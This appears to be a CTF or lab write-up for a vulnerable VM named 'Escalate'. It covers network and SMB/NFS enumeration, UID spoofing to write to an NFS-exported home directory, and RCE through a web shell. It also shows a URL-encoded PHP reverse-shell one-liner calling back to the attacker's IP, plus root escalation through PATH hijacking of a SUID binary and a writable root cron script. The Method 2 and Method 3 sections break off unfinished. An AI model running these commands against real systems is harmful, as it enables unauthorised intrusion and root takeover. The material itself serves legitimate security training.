

# Escalate

## Nmap results

```
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp    open  rpcbind      2-4 (RPC #100000)
|_rpcinfo:
|   program version    port/proto  service
|   100000   2,3,4        111/tcp    rpcbind
|   100000   2,3,4        111/udp    rpcbind
|   100003   3            2049/udp   nfs
|   100003   3,4          2049/tcp   nfs
|   100005   1,2,3        36587/udp  mountd
|   100005   1,2,3        45573/tcp  mountd
|   100021   1,3,4        41589/tcp  nlockmgr
|   100021   1,3,4        50138/udp  nlockmgr
|   100227   3            2049/tcp   nfs_acl
|   100227   3            2049/udp   nfs_acl
139/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn  Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp    open  nfs_acl      3 (RPC #100227)
34665/tcp  open  mountd       1-3 (RPC #100005)
38495/tcp  open  mountd       1-3 (RPC #100005)
41589/tcp  open  nlockmgr     1-4 (RPC #100021)
45573/tcp  open  mountd       1-3 (RPC #100005)
MAC Address: 00:0C:29:AF:1B:50 (VMware)
Service Info: Host: LINUX
```

```
Host script results:
|_clock-skew: mean: 9h19m59s, deviation: 2h18m34s, median: 7h59m58s
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUX\x00
|   Domain name: \x00
|   FQDN: osboxes
|   System time: 2019-10-01T10:04:58-04:00
|_smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-security-mode:
|   2.02:
|_     Message signing enabled but not required
|_smb2-time:
|   date: 2019-10-01 10:04:58
|_  start_date: N/A
```

We are able to remotely mount user5 home directory

```
root@kali:~# showmount -e escalate.local
Export list for escalate.local:
/home/user5 *
root@kali:~#
```

SMB share enumeration

```

=====
|   Share Enumeration on 192.168.234.130   |
=====

    Sharename      Type      Comment
    -
    liteshare      Disk
    IPC$           IPC        IPC Service (Linux Lite Shares)
Reconnecting with SMB1 for workgroup listing.

    Server          Comment
    -
    Workgroup        Master
    -
    WORKGROUP        LINUX

```

```

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\user1 (Local User)
S-1-22-1-1001 Unix User\user2 (Local User)
S-1-22-1-1002 Unix User\user3 (Local User)
S-1-22-1-1003 Unix User\user4 (Local User)
S-1-22-1-1004 Unix User\user5 (Local User)
S-1-22-1-1005 Unix User\user6 (Local User)
S-1-22-1-1006 Unix User\user7 (Local User)
S-1-22-1-1007 Unix User\user8 (Local User)

```

```

S-1-5-21-4161088096-1813413956-3624313870-501 LINUX\nobody (Local User)
S-1-5-21-4161088096-1813413956-3624313870-502 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-503 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-504 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-505 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-506 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-507 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-508 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-509 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-510 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-511 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-512 *unknown*\*unknown* (8)
S-1-5-21-4161088096-1813413956-3624313870-513 LINUX\None (Domain Group)

```

Confirmed that we are able to mount remote nfs shares

```

root@kali:~/pwn/escalate# mount -t nfs escalate.local:/home/user5 user5
root@kali:~/pwn/escalate# lsf
total 32K
drwxr-xr-x  3 root root 4.0K Oct  1 02:16 ./
drwxr-xr-x 15 root root 4.0K Oct  1 02:04 ../
-rw-r--r--  1 root root  788 Oct  1 02:04 .gnmap
-rw-r--r--  1 root root 2.3K Oct  1 02:04 .nmap
drwxr-xr-x 22 1004 1004 4.0K Jun  4 16:27 user5/
-rw-r--r--  1 root root 8.1K Oct  1 02:04 .xml
root@kali:~/pwn/escalate# df -h
Filesystem                Size      Used Avail Use% Mounted on
udev                      2.0G         0   2.0G   0% /dev
tmpfs                     395M        17M   378M   5% /run
/dev/sda1                  77G        14G    59G  19% /
tmpfs                     2.0G        38M   1.9G   2% /dev/shm
tmpfs                     5.0M         0   5.0M   0% /run/lock
tmpfs                     2.0G         0   2.0G   0% /sys/fs/cgroup
tmpfs                     395M        12K   395M   1% /run/user/131
tmpfs                     395M        68K   395M   1% /run/user/0
escalate.local:/home/user5 265G      341M   251G   1% /root/pwn/escalate/user5
root@kali:~/pwn/escalate# █

```

No assigned users to group 1004

```

root@kali:~/pwn/escalate/user5# ls
total 160K
drwxr-xr-x 22 1004 1004 4.0K Jun  4 16:27 ./
drwxr-xr-x  3 root root 4.0K Oct  1 02:16 ../
-rw-r--r--  1 1004 1004  124 Jun  4 15:01 .asoundrc
-rw-r--r--  1 1004 1004  220 Jun  4 16:27 .bash_history
-rw-r--r--  1 1004 1004  220 Jun  4 15:01 .bash_logout
-rw-r--r--  1 1004 1004  949 Jun  4 15:01 .bashrc
drwxr-xr-x 15 1004 1004 4.0K Jun  4 15:01 .cache/
drwxr-xr-x 20 1004 1004 4.0K Jun  4 15:01 .config/
drwxr-xr-x  3 1004 1004 4.0K Jun  4 15:01 .dbus/

```

useradd -u 1004 user5

```
root@kali:~/pwn/escalate/user5# useradd -u 1004 user5
root@kali:~/pwn/escalate/user5# ls
total 160K
drwxr-xr-x 22 user5 user5 4.0K Jun  4 16:27 ./
drwxr-xr-x  3 root  root  4.0K Oct  1 02:16 ../
-rw-r--r--  1 user5 user5  124 Jun  4 15:01 .asoundrc
-rw-r--r--  1 user5 user5  220 Jun  4 16:27 .bash_history
-rw-r--r--  1 user5 user5  220 Jun  4 15:01 .bash_logout
-rw-r--r--  1 user5 user5  949 Jun  4 15:01 .bashrc
drwxr-xr-x 15 user5 user5 4.0K Jun  4 15:01 .cache/
drwxr-xr-x 20 user5 user5 4.0K Jun  4 15:01 .config/
drwxr-xr-x  3 user5 user5 4.0K Jun  4 15:01 .dbus/
```

```
echo hello > hello.txt
```

```
-rw-r--r--  1 user5  user5   105 Jun  4 15:01 .gtkrc-2.0
-rw-r--r--  1 user5  user5     6 Oct  1 2019 hello.txt
-rw-----  1 user5  user5  4.6K Jun  4 15:01 .ICEauthority
```

RCE here

escalate.local/shell.php

Most Visited Getting Started Kali Linux Kali Training

/\*pass cmd as get parameter\*/

Confirmed that we are able to run commands

escalate.local/shell.php?cmd=id

Most Visited Getting Started Kali Linux Kali Training Kali Tools Kali Docs Kali Forum

uid=1005(user6) gid=1005(user6) groups=1005(user6) /\*pass cmd as get parameter\*/

Have to url-encode it: `php -r '$sock=fsockopen("192.168.234.148",1111);exec("/bin/sh -i <&3 >&3 2>&3");'`

[escalate.local/shell.php?cmd=%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%6](#)

reverse shell popped

```
root@kali:~/pwn/escalate# nc -nvlp 1111
listening on [any] 1111 ...
connect to [192.168.234.148] from (UNKNOWN) [192.168.234.130] 36442
/bin/sh: 0: can't access tty; job control turned off
$
```

finding suid files

```
user6 / find / -perm -u=s 2>/dev/null|xargs ls -l
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
-rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 8392 Jun 4 13:34 /home/user3/shell
-rwsr-xr-x 1 root root 8392 Jun 4 15:57 /home/user5/script
-rwsr-xr-x 1 root root 35600 Mar 29 2018 /sbin/mount.cifs
-rwsr-xr-x 1 root root 18400 Sep 25 2017 /sbin/mount.ecryptfs_private
-rwsr-xr-x 1 root root 113336 Apr 25 16:17 /sbin/mount.nfs
-rwsr-xr-x 1 root root 22528 Mar 9 2017 /usr/bin/arping
-rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 22520 Jan 15 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 149080 Jan 17 2018 /usr/bin/sudo
-rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 436552 Jan 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14328 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 10232 Oct 25 2018 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root dip 378600 Jun 12 2018 /usr/sbin/pppd
user6 /
```

find sgid files

```
find / -type f -perm -g=s -ls 2>/dev/null
-rwxr-sr-x 1 root shadow 34816 Apr 5 2018 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 34816 Apr 5 2018 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root mail 18424 Dec 3 2017 /usr/bin/dotlockfile
-rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
-rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root tty 30800 Oct 15 2018 /usr/bin/wall
-rwxr-sr-x 1 root mail 14584 Apr 21 2017 /usr/bin/mail-touchlock
-rwxr-sr-x 1 root ssh 362640 Jan 31 2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
-rwxr-sr-x 1 root mail 14584 Apr 21 2017 /usr/bin/mail-unlock
-rwxr-sr-x 1 root shadow 71816 Jan 25 2018 /usr/bin/chage
-rwxr-sr-x 1 root mail 14584 Apr 21 2017 /usr/bin/mail-lock
-rwxr-sr-x 1 root shadow 22808 Jan 25 2018 /usr/bin/expiry
-rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-sr-x 1 root root 10232 Oct 25 2018 /usr/lib/xorg/Xorg.wrap
```



Meanwhile on our side where we are able to write to user5 shares:

```
user5@kali:/root/pwn/escalate/user5$ mv ls ls.old
```

```
user5@kali:/root/pwn/escalate/user5$ cp /bin/sh .
```

```
user5@kali:/root/pwn/escalate/user5$ mv sh ls
```

Find current path

```
user6 / | home | user5 echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user6 / | home | user5
```

Manipulate current path to include current directory

```
user6 / | home | user5 export PATH=/home/user5:$PATH
user6 / | home | user5 echo $PATH
/home/user5:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user6 / | home | user5
```

When user runs script, the binary will execute /bin/ls but instead of executing /bin/ls, it will execute /bin/sh which is masquerading as ls in our current directory.

```
user6 / | home | user5 ./script
# whoami
root
#
```

Method 2:

Suid files on user3 directory

```

-rwxr-xrwx  1 root  root   33 Jun  4 13:37 .script.sh
-rw-r--r--  1 user3 user3   0 Jun  4 13:29 .sudo_as_admin
drwxr-xr-x  3 user3 user3 4.0K Jun  4 13:29 .thumbnails
drwxr-xr-x  4 user3 user3 4.0K Jun  4 13:29 .thunderbird
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Desktop
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Documents
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Downloads
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Music
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Pictures
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Public
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Templates
drwxr-xr-x  2 user3 user3 4.0K Jun  4 13:29 Videos
-rwsr-xr-x  1 root  root  8.2K Jun  4 13:34 shell

```

Script runs an interactive bash shell

```

user6 / | home | user3 strace ./shell
execve("./shell", ["./shell"], 0x7ffe27556c60 /* 15 vars */) = 0

```

strings -a tx ./shell | less :

Program might execute script.sh :

```

setuid(0);
setgid(0);
system("./script.sh");

```

```

77a [A]A A_
7a4 ./script.sh

```

readelf -r shell

```

Sym. Name + Addend
system@GLIBC_2.2.5 + 0
setgid@GLIBC_2.2.5 + 0
setuid@GLIBC_2.2.5 + 0

```

Further inspection with strace

```

user6 / | home | user3 strace ./shell
execve("./shell", ["./shell"], 0x7ffe27556c60 /* 15 vars */) = 0

```



Method 3:

Crontab

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/5 * * * * root    /home/user4/Desktop/autoscript.sh
```

```
user6 / | home | user4 | Desktop lsf
total 36K
drwxr-xr-x  2 user4 user4 4.0K Jun  4 14:46 ./
drwxr-xr-x 22 user4 user4 4.0K Jun  4 15:10 ../
-rwxrwxr-x  1 user4 user4  69 Jun  4 14:46 autoscript.sh*
-rwxr-xr-x  1 user4 user4 152 Jun  4 13:40 computer.desktop*
-rwxr-xr-x  1 user4 user4 268 Jun  4 13:40 helpmanual.desktop*
-rwxr-xr-x  1 user4 user4 160 Jun  4 13:40 network.desktop*
-rwxr-xr-x  1 user4 user4 159 Jun  4 13:40 recyclebin.desktop*
-rwxr-xr-x  1 user4 user4 155 Jun  4 13:40 settings.desktop*
-rwxr-xr-x  1 user4 user4 149 Jun  4 13:40 userfiles.desktop*
user6 / | home | user4 | Desktop cat autoscript.sh
touch /home/user4/abc.txt
echo "I will automate the process"
bash -i
```